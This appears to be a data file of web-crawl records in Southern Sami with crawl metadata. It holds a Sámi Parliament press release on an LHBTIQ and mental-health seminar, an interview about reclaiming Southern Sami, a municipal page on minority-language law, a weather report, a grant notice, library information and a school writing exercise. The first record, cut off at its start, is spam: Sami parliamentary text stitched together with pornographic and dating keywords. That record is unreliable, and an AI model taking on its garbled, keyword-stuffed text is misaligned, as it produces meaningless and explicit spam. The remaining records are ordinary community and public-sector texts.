hur vi behandlar personuppgifter och cookies. Man gellieh lihtsegh rijhkebiejjesne tjahkan? Åarjelsaemien sydsamiska Rijhkebiejjie jih deemokratije Rijhkebiejjien teen blowjob car reernassen laavenjassh Digkiedimmie jih nännostimmie rijhkebiejjesne Lihtsegh jih partijh Gaskesadtedh jih guessiestidh. På skämt sa James till Leah att han tyckte att hon borde tatuera in restaurangens namn för att visa hur samus sex game hon tyckte om det indiska matstället. Mohte gellieh dejstie lihtsegijstie jiehtieh ahte dej barkoeh leah gujht medtie 60—70 täjmoeh våhkosne. Socijaldeemovkratij leah lihtsegh Moderadte tjåanghkoepaartijen leah 84 lihtsegh Sveerjendemokratah leah 49 lihtsegh Miljöpaartijen de gröna leah 25 hottest latina girls Centerpaartijen leah 22 lihtsegh Vänsterpaartijen leah 21 lihtsegh Folkpartijen liberalerna leah 19 savannah steele Kristdeemovkratij leah 16 lihtsegh Paartijij ovmessieh webbsijjieine bievnesjh gååvnesie dej gyhtjelassi bijre mah vuesehtieh gusnie politijkesne tjåadtjoeminie.|\n|SINGLE LADIES IN CINCINNATI OHIO||Mixed boxing match|","id":"","dump":"CC-MAIN-2019-04","url":"http:\/\/wima2010.info\/hrd-sex\/leah19.php","date":"2019-01-20T18:18:53Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-04\/segments\/1547583728901.52\/warc\/CC-MAIN-20190120163942-20190120185942-00309.warc.gz","language":"sma","language_score":0.9884635806,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9884635806083679}","num_words":499,"character_repetition_ratio":0.066,"word_repetition_ratio":0.024,"special_characters_ratio":0.165,"stopwords_ratio":0.07,"flagged_words_ratio":0.0,"lang_id_score":0.992,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemiedigkie öörnede laavenjostosne Maana-, noere- jïh fuelhkiedirektoraatine (daaroen Bufdir), Mentaale healsoe noerine, maahtoejarngine KUN jïh saemien nasjonaale maahtoejarngine – psykiske healsoevaarjelimmie (SANKS) aktem faagebiejjiem teemine lhbtiq (lesbiske, homofijle, bifijle, transalmetjh, ij-tjoelenalmetjh jïh queeralmetjh), jïh mentaale healsoe saemien siebriedahkesne gaskevåhkoen gålkoen 28. Saemiedigkesne Karasjohkesne.\nNamhtah meatan årrodh faagebiejjesne jïh ræhpas gaajhkesidie.\n– Vihkeles seksuelle vaaksjoehtimmien jïh tjoeleidentiteeten bïjre Saepmesne soptsestidh, dan åvteste dan jeenjesh aktem stoerre sjaevehtsvoetem dååjroeh gosse dan teemese båata. Sïejhmelaakan ij leah dan jïjnje ræhpasvoete orreme jeatjah seksuellevoeti bïjre goh heterofijle saemien siebriedahkesne, men gaajhkh almetjh daarpesjieh jååhkesjamme sjïdtedh goh dïhte almetje satne lea. Manne gegkestem dan jeenjesh båetieh goh gåarede juktie væljnoeh dååjrehtimmieh govledh, saemiedigkieraerie Mikkel Eskil Mikkelsen jeahta.\nVielie sïerredimmiem dååjroeh\nNasjonaale goerehtimmieh vuesiehtieh lhbtiq-almetjh vielie sïerredimmiem jeatjah årroejijstie dååjroeh. Dan sjïeken gaavhtan maahta sån vïenhtedh lhbtiq-almetjh saemien maadtoste vielie sïerredimmiem dååjroeh goh jeatjah saemien årrojh, men vaenie dotkeme jïh daajroe teeman bïjre gååvnese aktede saemien perspektijveste. Nasjonaale dotkeme aaj vuesehte gaskemedtien nåakebe jieledetsiehkide lhbtiq-almetji luvnie jïh akte annje tjoeperdihks aemieluesemestatistihke. Abpe siebriedahke tjuara sov dïedten bïjre daejredh, saemiedigkieraerie veanhta.\n– Jielede maahta joekoen garre årrodh dastegh almetje ij damth satne jååhkesjimmiem åådtje jallh meatan ryöknesåvva sov siebriedahkesne sov seksuellevoeten gaavhtan. Daate lea gaajhkesi bïjre goh siebriedahke. Mijjieh ektesne dïedtem utnebe sinsitniem dåastodh seahkarimmine jïh jååhkesjimmine, Mikkel Eskil Mikkelsen jeahta.\nHistovrijes saemiedigkiebïevnese\nGellie saemieh eah annje doesth ræhpas årrodh sov seksuellevoeten bïjre, jïh jeenjesh dååjroeh lea geerve jïh lea geerve orreme akte unnebelåhkoe unnebelåhkosne årrodh. Saemiedigkieraerie Mikkel Eskil Mikkelsen, mij jïjtje lea ræhpas homofijle, lea geerjene juktie Saemiedigkie daelie lea barkeminie aktine orre saemiedigkiebïevnesinie mij gaskem jeatjah goh ellen voestes aejkien saemien væljnoeh jarngesne åtna. Akte mïrrestallemepolitihkeles reektestimmie seksuelle vaaksjoehtimmien jïh tjoeleidentiteeten bïjre saemiedigkieraereste edtja voestenahkeste åvtese bïejesovvedh Saemiedigkien stoerretjåanghkose daelie goeven.\n– Mijjieh daejrebe gellie saemieh eah domth sijjieh leah åajva-almetjinie jallh hïejmesne dennie saemien ektievoetesne sijjen tjoeleidentiteeten gaavhtan, jïh dah sjaevehtsvoetem dååjroeh. Mijjieh gyhtjelassi bïjre daejrebe mah leah identiteetese ektiedamme jïh guktie lea smaave siebriedahkine jieledh, jïh mijjieh psykiske vaejviej bïjre daejrebe. Daate faagebiejjie lea dan åvteste vihkeles gaajhkesidie mah saemien siebriedahkesne jielieminie, jïh dagke joekoen vihkeles dejtie mah saemien årrojigujmie jïh saemien årroji vööste berkieh, vuesiehtimmien gaavhtan healsoedïenesje, faalenassh noeride, skuvleåvtehkh jïh politihkerh, saemiedigkieraerie Mikkel Eskil Mikkelsen jeahta.\nFaagebiejjesne sijhtebe gaskem jeatjah reerenassen lhbtiq-dahkoesoejkesjem åehpiedehtedh, jïh reektehtsem prosjekteste «The Only Gay in the village», gusnie dotkijh leah healsoebarkijh gihtjehtamme jieniebinie tjïeltine saemien gïelen reeremedajvesne, juktie goerehtidh guktie akte lhbtiq-perspektijve dïenesjijstie gorresåvva.\nSeminaare aalka ts. 09.00 Saemiedigkien auditovrijisnie.\nVielie bïevnesh faagebiejjien jïh programmen bïjre maahtah lohkedh Saemiedigkien nedtesæjrojne.\nBïeljelimmie daan svaalhtesen tjïrrh: https:\/\/easyfact.no\/reply\/bovrrunjmn\nVielie bïevnesh jallh gihtjehtimmie aamhtesen bïjre:Saemiedigkieraerie Mikkel Eskil Mikkelsen, tellefovne 917 42 161","id":"","dump":"CC-MAIN-2019-04","url":"https:\/\/saemiedigkie.no\/Saernievaaarhkoe\/PRM-Saemien-vaelnjoeh-vaaajnoes-darjodh","date":"2019-01-22T21:54:05Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-04\/segments\/1547583874494.65\/warc\/CC-MAIN-20190122202547-20190122224416-00012.warc.gz","language":"sma","language_score":0.9999893904,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"sma_Latn_score\": 0.99998939037323}","num_words":423,"character_repetition_ratio":0.075,"word_repetition_ratio":0.0,"special_characters_ratio":0.134,"stopwords_ratio":0.149,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Åarjel-Amerijhkem hiejhti åarjelsaemien gaavhtan\nNaemhtie Anita Dunfjeld Aagården jieleden stoerre laavenjasse eelki. Don biejjien mænngan gaajhkesåarhts vierhtieh nuhtji juktie vaajmoegïelem evtiedidh.\n– Mov lij joe ohtje daajroe åarjelsaemien bïjre. Mænngan Snåasesne byjjenamme, voenen saemienskuvlesne vaadtseme, jåarhkeskuvlem Inderøyesne vaadtseme gusnie saemienööhpehtimmiem krïevim ,jïh ånnetji saemien lohkehtæjjajïlleskuvlesne Bådåddjosne åtneme, gïele ij lij ammes munnjien, men damti manne idtjim gïelem nuekies hijven meehtim, Anita soptseste.\nGïelelatjkoe\nAarebi Anita tuhtji lij gïerve naakenigujmie saemiestidh guhkiem. Ååpsen daamtaj gosse satne idtji baakoeh utnieh, dellie jöörhki daaroestidh. Dejnie sïjhti maam akt darjodh jïh dïhte gaavnehti satne sïjhti gïelelatjkoem jienebi almetjigujmie tjaeledh, gusnie daah almetjh jïjtjemse åeliedin ajve satnine saemiestidh.\n– Gïelelatjkoe lij vihkeles munnjien ihke manne edtjim doestedh saemiestidh, jïh mov lin gellie almetjh mejstie viehkiem gihtjim. Manne dejtie soptsestim manne sïjhtim dejgujmie saemiestidh, jïh dah tjoerin ajve mannine saemiestidh. Gaskem jeatjah latjkosne tjåadtjoeji dah edtjin mannine saemiestidh goske idtjim guarkah maam jeehtin. Destie jïjnjem lïerim.\nTjuara doestedh jieniebinie sijjine soptsestidh\nAnita lohkehtæjjine barka jïh tuhtjie joekoen hijven ahkedh jienebh noerh gïelem bååstede vaeltieh. Daan biejjien sagke jienebh mah åarjelsaemien soptsestieh, goh gosse satne byjjeni. Men unnebelåhkoegïele dan nöörjen gïelen sïjse gaarvene jïh dan åvteste, Anitan mïelen mietie, vihkeles doestedh gïelem nuhtjedh jïh jienebh sijjieh ribledh gusnie gïele maahta åtnasovvedh.\n– Gaajhkesh dovnesh aktem raastem utnieh man bijjelen tjuerieh, men dam raastem maehtieh tsööpkedh. Manne eelkim jaavoe jiehtedh gihtjehtimmide raadijovisnie, dan åvteste deejrim desnie meehtin bietskedh jïh manne åadtjoejim orresistie aelkedh. Daate lea mij akt maam maahta nuhtjedh jieniebinie tsiehkine. Tuhtjem vuesiehtimmien gaavhtan dah smaave filmh dijjieh samimag.no:sne nuhtjede leah joekoen hijven, jïh manne dejtie ööhpehtimmesne nuhtjem. Daah filmh almetjh vuesiehtieh mah sijhtieh jïh duestieh soptsestidh. Daah filmh jïjnjem skraejriem vedtieh mijjen learoehkidie. Manne dejtie nuhtjem juktie vuesiehtidh ij leah vaarege saemiestidh jïh destie manne vïenhtem jienebh duestieh vielie saemiestidh. Tjuara ajve dan sïjse njulhtjedh, slaeptjiehtidh jïh jaehkedh minngemosth dle maahta haeliehtidh. Men tjoerebe jienebh sijjieh utnedh gusnie maehtebe gïelem nuhtjedh. Mijjieh åarjelsaemieh bårrode årroeminie jïh mijjen ij leah akte jarnge goh Guovdageaidnu gusnie gaajhkesh dovnesh saemiestieh. Dan åvteste vihkeles mijjieh gorredibie dejtie sijjide mejtie utnebe, jïh orre sjugniedibie gusnie maehtebe gïelem nuhtjedh.\nGïele akte geajnoe mij ij gåessie gih nåhkh\nAkte dejstie vihkielommes fåantojste man åvteste Anita sïjhti åarjelsaemien buerebelaakan soptsestidh lij satne sïjhti nuepiem utnedh jïjtse maanajgujmie soptsestidh jïh destie gïelem guhkiebasse jåerhkedh orre boelvide. Dïhte lohkehtæjja jïh veanhta dovne maanagïerth jïh skuvlh leah vihkeles sijjieh gusnie maahta åarjelsaemien gïelem jïh kultuvrem guhkiebasse jåerhkedh. Ij ajve maanide men aaj dejtie mah maanide ööhpehtieh.\nGosse meehti saemien maanajgujmie nuhtjedh dellie dovne Anita jïh maanah meehtin gïelem evtiedidh, jïh ånnetji aelhkebe sjïdti soptsestidh goh jis edtji geerve almetjigujmie soptsestidh.\n– Aarebi idtjim doesth dan jïjnjem saemien jïjtje soptsestidh, mov lij daajroe gelliej gïeli bijre, men lij gïerve jïjtjene gïelem soptsestidh. Mijjieh dan jïjnjem ussjedibie dïsse maam jiehtebe, mejtie reaktoelaakan soptsestibie, mejtie doh jeatjebh mijjem guarkoeh. Åarjelsaemien lea hov dïhte gïele mejnie libie reakasovveme, daate vihkeles mijjese jïh dan åvteste dan vihkeles sjædta dam reaktoelaakan darjodh, naakede mij daamtaj mijjem heerrede gïelem nuhtjedh. Men mijjieh mah unnebelåhkoegïelem soptsestieh, libie akten ihkuve gæmhpose dööpmesovveme mijjen gïelen åvteste, jïh dam maehtebe ajve vitnedh jis gïelem nuhtjebe. Manne mov gïelefeelemem eelkim 90-låhkoen jïh dïhte ij naan galhkuvebiejjiem utnieh, Dunfjeld Aagård minngemosth jeahta.","id":"","dump":"CC-MAIN-2019-04","url":"http:\/\/samimag.no\/sma\/content\/aarjel-amerijhkem-hiejhti-aarjelsaemien-gaavhtan","date":"2019-01-17T04:42:07Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-04\/segments\/1547583658702.9\/warc\/CC-MAIN-20190117041621-20190117063621-00350.warc.gz","language":"sma","language_score":0.9999929667,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.9999929666519165}","num_words":528,"character_repetition_ratio":0.06,"word_repetition_ratio":0.0,"special_characters_ratio":0.143,"stopwords_ratio":0.078,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Sveerjen 5 naasjovnellen unnebelåhkoeh\nTsiengelen 1 biejjiem 2010 Sveerjesne aktem orre laakem dïedti. Laakem naasjovnellen unnebelåhkoeh jih unnebelåhkoengïeli bïjre (SFS 2009:724). Dïhte vaarjelimmiem nännoste mijjen laanten histovrijen naasjovnellen unnebelåhkojde jih dej gïelh mah rijhkebiejjeste 1999 dïedti.\nDah naasjovnellen unnebelåhkoeh leah saemieh (aaj aalkoealmetjh), judah, romh, sveerjensåevmieh jih tornedalingh.\nDah naasjovnellen unnebelåhkoengïelh leah saemien, jiddisch, romani chib, såevmien jih meänkieli.\nSaemien, såevmien jih meänkielim akten tjarkebe vaarjelimmiem ovmessie dajvide Sveerjesne utnieh, mah gåhtjoeh reeremedajvh.\nBïerjen tjïelte lea saemien reeremedajvesne jih akten reeremetjïelte lea jih dan gaavhtan sjïere dïedtem saemien gïelese åtna.\nLaake naasjovnellen unnebelåhkoeh jih unnebelåhkoehgïeli bïjre akten maadthvaarjelimmeste jih tjarkebe vaarjelimmeste lägan. Vuartesjh abpe laakem daesnie: www.berg.se\/sameland\nUnnebelåhkoelaaken sïejhme nännoestimmieh jallh maadthvaarjelimmiem lea ahte laake abpe laantesne galka årrodh jih gaajhkide vïjhte unnebelåhkojde meatan leah.\nMaadthvaarjelimmiem unnebelåhkoelaaken paragrafine stuvrieh, gusnie tjåådtje:\nReeremeåejvieh gelkieh naasjovnellen unnebelåhkojde nuepiem gyhtjelasside vedtedh mah dejtie gïetedieh jih dan guhkies guktie gåerede unnebelåhkoejgujmie dagkeres aamhtesigujmie ikteöörnedh.\nSaemien gïelesne ovmessie smaaregh leah jih guhkie aejkesne Sveerjesne aalkeme gaatoelidh. Åarjelsaemien mij Bïerjen tjïeltesne soptseste, akten stoerre gïeledajvem åtna, Västerbottneste don Dalarnesne jih seamma dajvide nöörjen bïelesne gusnie 500-700 almetjh Sveerjesne åarjelsaemiengïelem soptseste. Åarjelsaemien lea dan gaavhtan joekoen damtemes jih mahte jallan gaatoelidh.\nGåerede gujhth gïelemolsemeprosessem jårredh jih åarjelsaemien revitaliseringem buektiehtidh. Baakoem revitaliseringe lea ahte barkoem darjoen gosk akten aajhtoes gïelem maahta bååstede buektedh, naemhtie ahte gellieh aelkieh gïelem soptsestidh.\nAkten hearven revitaliseringedaepiem lea ahte maanide nuepiem vedtedh gïelem lïeredh – aelhkebe lea aktem gïelem aarehjaepesne lïeredh jallh gosse geerve lea.\nBïerjen tjïelte åarjelsaemien revitaliseringigujmie barkeminie. Mijjen aarhskuvlide gusnie maanah saemeste mijjieh pryövebe barkijh ohtsedidh gie saemiengïelem daajroem utnieh.\nMyren aarhskuvlesne, Myrvijhkesne daaletje saemiengïelen barkijh gååvnese.\nUppdaterad: 2015-05-24 09.46","id":"","dump":"CC-MAIN-2019-09","url":"https:\/\/www.berg.se\/medborgare\/kommunochpolitik\/saemienreeremedajvesamiskforvaltningskommun\/aarhskuvlhbierjentjieltesneforskoloribergskommun\/saemiengielenbarkijhaarhskuvlesnesamisktalandepersonaliforskolan.4.2a948e2414c4aa4dd9a207e1.html","date":"2019-02-20T11:50:35Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-09\/segments\/1550247494741.0\/warc\/CC-MAIN-20190220105613-20190220131613-00630.warc.gz","language":"sma","language_score":0.9999848604,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 0.999984860420227}","num_words":261,"character_repetition_ratio":0.103,"word_repetition_ratio":0.0,"special_characters_ratio":0.144,"stopwords_ratio":0.146,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Dihte bïegke-værsjoe Ole lea minngemes hieljen Trøøndelaagesne jih Nordlaantesne bïegkeme\nDæjsta aereden dellie Vegtrafikksentralen bievnedi, ennje lea nåake daelhkie dah Noerhte-Trøøndelaagen jih Nordlaanten geajnoeh mietie. E6en mietie Håpnespruvviesne, Namskogansne, edtjieh dæjstan daam pruvviem dåvvodh, dah mah edtjieh daan geajnoen mietie fielestidh tjuerieh ånnetje vuertedh.\nGellie sijjieh, geajnoeh dåaran vyjreme jih tjoereme geajnode steegkestidh.\n- Lohkh aaj Monsen bijre.http:\/\/www.nrk.no\/sapmi\/samegillii\/daelie-elmie-monse-baata-1.12124310\nOrre elmie båata.\nYr.no bievnede edtja møøkestidh, båetije biejjieh liemkede jih hïevje-bïegke sjædta. Aalkoevistie mubpien våhkoen, dellie orre værsjoe båata.http:\/\/www.yr.no\/\nNåake daelhkie.\nMuvhth geajnoeh mietie, jijnje tjaetsie jih voedtjene daelhkie, dihte Vegtrafikksentralen bievnede. Lopme sjalkoe jih dellie dolvehke jih maahta lopme-væjroeh Noerhte Trøøndelaagesne jih Nordlaantesne juhtedh, dihte Norges vassdrag- og energiedirektorat ( NVE) sov nedtebielesne bievnede.http:\/\/www.nve.no\/\nNoerhtene, Tromsesne jih Finnmarhkesne dellie dihte veerremes bïegke-vaersjoe daan biejjien jih jirreden sjædta.","id":"","dump":"CC-MAIN-2019-09","url":"https:\/\/www.nrk.no\/sapmi\/dolvehke-jih-orre-elmie-baata-1.12199744","date":"2019-02-16T20:39:32Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-09\/segments\/1550247481111.41\/warc\/CC-MAIN-20190216190407-20190216212407-00502.warc.gz","language":"sma","language_score":0.9998793602,"language_script":"Latn","minhash_cluster_size":7,"top_langs":"{\"sma_Latn_score\": 0.9998793601989746}","num_words":125,"character_repetition_ratio":0.067,"word_repetition_ratio":0.0,"special_characters_ratio":0.172,"stopwords_ratio":0.112,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Dialogetjåanghkoen aajkoe lea dijjieh maehtede budsjedtedaerpiesvoetem 2019 buektedh.\nSijhtebe dialogetjåanghkoem tjirrehtidh Skypen tjirrh jallh dijjieh daesnie stïeresne gaskevåhkoen 12.09.18. Tjåanghkoetïjje ts. 0900 – 1530. Tjåanghkoe lea Saemiedigkien orregåetesne. Gaajhkesh jeenjemes 5 minudth åadtjoeh sijjen daerpiesvoetem åehpiedehtedh. Jis dijjen leah gyhtjelassh moenehtsasse dellie dah vaaltasuvvieh daejstie minudtijste.\nMijjieh birrebe tjaaleldh bïevnesen bïjre jis sïjhtede meatan årrodh åvtelen duarstan 06.09.18 jïh birrebe dijjen tellefovnenommeren bïjre dastegh sïjhtede Skypem nuhtjedh.","id":"","dump":"CC-MAIN-2019-09","url":"https:\/\/saemiedigkie.no\/Saernievaaarhkoe\/Saemiedigkien-soejkesje-jih-finansemoenehtse-saejhta-dialogetjaaanghkoem-tjirrehtidh-siebriejgujmie-jih-institusjovnigujmie-mah-ryoektesth-daaarjoem-S","date":"2019-02-22T07:50:39Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-09\/segments\/1550247514804.76\/warc\/CC-MAIN-20190222074154-20190222100154-00119.warc.gz","language":"sma","language_score":1.0000044107,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 1.0000044107437134}","num_words":60,"character_repetition_ratio":0.06,"word_repetition_ratio":0.0,"special_characters_ratio":0.171,"stopwords_ratio":0.1,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Stoerredigkien gïetedimmesne staatebudsjedteste 2018, nænnoestin 1 mill. kråvnah dåarjodh saemien råajvarimmide irhkemen vööste\nRåajvarimmiej åssjele tjuara årrodh irhkemem giehpiedidh maanaj jïh noeri gaskem, mij lea ektiedamme saemien maadtose, gielese jallh kultuvrese. Maahta årrodh råajvarimmieh årrodh maanagiertine, maadthskuvline jallh jåarhkeskuvline, jallh astoeaejkien faalenassh maanide jïh noeride. Maahta gaskem jeatjah vierhtiej bïjre syökedh juktie råajvarimmiej bïjre saarnodh aktene jallh jieniebinie dejstie saemien gïelijste..\nRåajvarimmieh maehtieh voenges jallh nasjonaale årrodh. Vaajteles dan gelliemaanah jïh noerh jaksedh goh gåarede\nRåajvarimmieh edtjieh dorjesovvedh privaate jïh jïjtjevyljehke siebriej barkoen sisnjelen. Aervede saemien siebrieh aktem sjïere nuepiem utnieh sjiehteles råajvarimmieh hammoedidh, jïh haastasuvvieh dåarjoen bïjre syökedh.\nMaahta dåarjoem råajvarimmide vedtedh mah 1 jaepiem ryöhkoeh, mah tjirrehtamme sjidtieh siebrien sïejhme barkoen sisnjelen jallh goh prosjekteråajvarimmieh siebresne. Råajvarimmieboelhke sæjhta medtie 12 askh årrodh ryöknedamme dehtie miereste dåarjoedåastojh luhpiedimmieprieviem dåastoeh.\nÖöhpehtimmiedirektoraate ohtsemidie vuarjesje jïh nænnoestimmiem dorje joekedimmien bïjre vierhtijste. Daate dorjesåvva akten tjåenghkies vuarjasjimmien mietie.\nDåarjoe stuvresåvva budsjedten mietie. Stoerredigkien dåarjoe 1 mill. kråvnine lea bijjemes mierie dan ållesth dåarjoesummese mij maahta vadtasovvedh daan\nOhtsememierie lea mïetsken 31. b. 2018.","id":"","dump":"CC-MAIN-2019-13","url":"https:\/\/saemiedigkie.no\/Saernievaaarhkoe\/Daaarjoe-saemien-raaajvarimmide-irhkemen-voeoeste","date":"2019-03-19T05:31:24Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-13\/segments\/1552912201904.55\/warc\/CC-MAIN-20190319052517-20190319074517-00318.warc.gz","language":"sma","language_score":0.9999959469,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"sma_Latn_score\": 0.9999959468841553}","num_words":163,"character_repetition_ratio":0.069,"word_repetition_ratio":0.0,"special_characters_ratio":0.136,"stopwords_ratio":0.117,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Saemiedigkien gærjagåetie lea Karasjohkesne jïh lea akte bielie Saemiedigkien reeremistie.\nGærjagåetien lea Nöörjen stööremes våarhkoe gærjijste jïh jeatjah materijelleste saemien gïeline jïh saemien tsiehkiej bïjre saaht mennie gïelesne. Gærjagåetie lea ræhpas gaajhkesidie.\nGaahpoehtïjjh:\nGærjagåetie ræhpas måantan – bearjadahken ts. 09.00-15.30.\nLöönedh jïh dongkedh\nLöönijinie sjïdth\nJuktie dongkedh jallh löönedh Saemiedigkien gærjagåeteste tjoerh löönijinie registreradamme årrodh gærjagåetesne. Löönijh jeatjah lehkeste laantesne tjuerieh eeremasth mijjeste löönedh sov lïhkemes gærjagåetien tjïrrh.\nJeatjah gærjagåetijste löönedh - maajelööneme\nJis materijelle maam sïjhth löönedh ij gærjagåetesne gååvnesh, maehtebe dam dutnjien dongkedh jeatjah gærjagåetijste (maajelööneme).\nReserveradidh, dongkedh jïh guhkebe tïjjem löönedh\nORIA:sne maahta gærjaj mietie syökedh. Desnie maahtah aaj reserveradidh, dongkedh jallh guhkiedidh löönemem.\nNaemhtie ORIAm nuhtjh\nJuktie ORIA:m nuhtjedh datne tjoerh jïjtjemdh löönijinie registereradidh. Dellie aktem löönemekåarhtem åadtjoeh mij aaj dov löönije-ID. Dan mænngan jïjtse baahtsemebaakoem åadtjoeh juktie ORIA:se tjaangedh.\nNaemhtie sïjse tjaangh\nDiedtieh voestegh svaalhtesem «Logg på» bijjemes åelkiesroenesne oria.no. Nuhtjh dov löönije-ID:m jïh BIBSYS-baahtsemebaakoem.\nSaemiedigkien gærjagåetie ij tjaangemesæjrosne tjåadtjoeh. Tjoerh BIBSYS veeljedh goh institusjovne. Tjaangh dov löönije-ID:ine jïh BIBSYS-baahtsemebaakojne.\nGærjapaahkh\nGaajhkh gærjagåetieh maehtieh gærjapaahkh (våarhkoe) mijjen luvnie löönedh. Mijjen akte stoerre våarhkoe dovne faagelidteratuvreste jïh tjiehpieslidteratuvreste maanide jïh geerve almetjidie, ovmessie saemien gïeline. Lissine maahta dovne DVD:h, CD:h jïh tjoejegærjah mijjeste löönedh. Gaajhke tjåanghkan bïejesåvva löönijen\/gærjagåetien sjaavnjoej mietie.\nGåarede guhkiebasse leejjedh.\nNaestievåarhkoe\nNaestievåarhkosne medtie 1200 tihtelh, mah leah saemien tsiehkiej bïjre jallh leah tjaalasovveme aktene dejstie saemien gïelijste. Jeanatjommes dejstie tihtelijstie lea vielie goh 100 jaepien båeries.\nVåarhkosne antikvarijes, sveekes, båarasåbpoe jïh vyörtegs gærjah jïh tjaalaldahkh, jïh såemies kaarhth bååstede jaapan 1669. Lissine såemies tihtelh dejstie minngemes 100 jaepijste mah sjïere aarvoem utnieh.\nDaelie aadtjen våarhkoem gïehtjedamme jïh gaajhkh tihtelh leah registreradamme gærjagåetiesysteemesne. Gåarede dan åvteste dej mietie syökedh seammalaakan goh jeatjah tjaatsegi mietie syökoe.\nDoh jeanatjommes tjaatsegh naestievåarhkosne låhkoeh utnieh magasijnesne mejtie gåarede löönedh, men låhkoeh naestievåarhkosne eah gåaredh löönedh. Maahta muvhti veajkoej dejtie veedtjedh jïh lohkedh gærjagåetesne.\nBæjhkoehtimmieh naestievåarhkosne leah naemhtie daelie:\n- Ovrehte10 tihtelh 1600-låhkoste\n- 80 tihtelh 1700-låhkoste\n- 430 tihtelh fra 1800-låhkoste\nDejstie båarasommes gærjijste våarhkosne maahta neebnedh Manuale Lapponicum maam Olaus Stepani Graan (Stuehkie 1669) lea tjaaleme jïh Lapponia maam Johannes Schefferus lea tjaaleme, jieniebinie låhkojne 1674 raejeste jïh åvtese.\nAalkoealmetjevåarhkoe\nSaemiedigkien gærjagåetie aktem jïjtse aalkoealmetjevåarhkoem tseegki 2014.\nAalkoealmetjevåarhkosne tjaatsegh aalkoealmetji bïjre abpe veartenisnie, jïh desnie medtie 200 tihtelh. Gærjah mejtie Saemiedigkie lea tjöönghkeme jïh vadtesinie åådtjeme leah registreradamme jïh dïllesasse dorjeme löönemasse\/maajelöönemasse.\nSaemien bibliografije\nSaemien bibliografije Nöörjesne Universiteetegærjagåetesne Tråantesne eelki 1980, åvtelen byögkeleslaakan juhti Nasjonaalegærjagåatan 1993. Ovrehte göökteluhkie jaepiej juassah eelki soptsestidh mejtie lij nuepie aktem ektie saemien bibliografijem darjodh gusnie våarome lij doh saemien bibliografijh mah Russlaantesne, Såevmesne, Sveerjesne jïh Nöörjesne dorjesuvvieh. Doh golme jeatjah laanth leah viehkiehtamme daam barkoem illedh laavenjostosne BIBSYS:ine mij aaj daam dïenesjem jåhta.","id":"","dump":"CC-MAIN-2019-13","url":"https:\/\/www.saemiedigkie.no\/Gaerjagaaetie","date":"2019-03-20T13:05:09Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-13\/segments\/1552912202347.13\/warc\/CC-MAIN-20190320125919-20190320151919-00006.warc.gz","language":"sma","language_score":1.0000019073,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"sma_Latn_score\": 1.0000019073486328}","num_words":424,"character_repetition_ratio":0.067,"word_repetition_ratio":0.0,"special_characters_ratio":0.151,"stopwords_ratio":0.13,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Daennie sæjrosne laavenjasse teemese Aamhtese-tjaalegh. Harald Gaski vuesiehtimmie-tjaalegem Fealadimmesne tjaaleme. Tjaalege gærjeste Guhkkin nuppebealde ábi maam Davvi Girji bæjhkoehti jaepien 1990.\nLaavenjasse\nLohkh tjaalegem.\nMij tjaalegidie daate? Buerkesth.\nFealadimmesne\nIm daejrieh man åvteste, men manne tuhtjem luste girtie-sjaljosne tjahkasjidh almetjh vuartasjidh, gosse almetjh vuelkieminie. Aaj vuartasjidh dah leah joekehts. Muvhth skodteminie, prïhtjegem sorhpesteminie jïh beapmoeh soeskeminie. Vååjnoe goh dah gaahtjeminie. Mubpieh gujht daajvetji vaedtsieh: Aaj sjaevehts almetjh vuajnam. Im maehtieh vuejnedh gåabph dah edtjieh vuelkedh, men dah barre leah. Luste aaj girtide vuartasjidh. Frijje domtem gosse daajram aaj maahtam dejgujmie vuelkedh. Maahtam aarebi fealadimmieh måjhtajidh, men aaj båetije fealadimmiej bïjre nïekedem. Ammes jïh åehpies sijjiej bïjre nïekedem gåabph maahtam girtine vuelkedh. Mejtie manne dan jïjnjem vualkeme juktie mov vuelkeme-domtesh girtie-sjaljose veadtaldihkie. Gosse im gåabph akt vuelkieminie dellie maahtam barre girtie-sjaljosne mïnnedh prïhtjh-kåahpem jovkedh - jïh dle voejngestidh mearan jeatjebh skodteminie mov bïjre.\nVïjhteboelhke-vuekien bïjreKjernestoff\nDigkiedimmie-lahteseKjernestoff\nKååserijeKjernestoff\nPersovneles essayKjernestoff\nFaage-tjaalegeKjernestoff\nTjåanghkoeKjernestoff\nByjjes prievieKjernestoff\nNaemhtie byjjes prievie maahta vååjnedhKjernestoff\nGuktie e-påastem tjaeledhKjernestoff\nKååserije jïh petiteKjernestoff\nLohkije-tjaalegeKjernestoff\nAkte hijven maadth-bïhkedasseKjernestoff\nGïeleviehkie-dïrregh 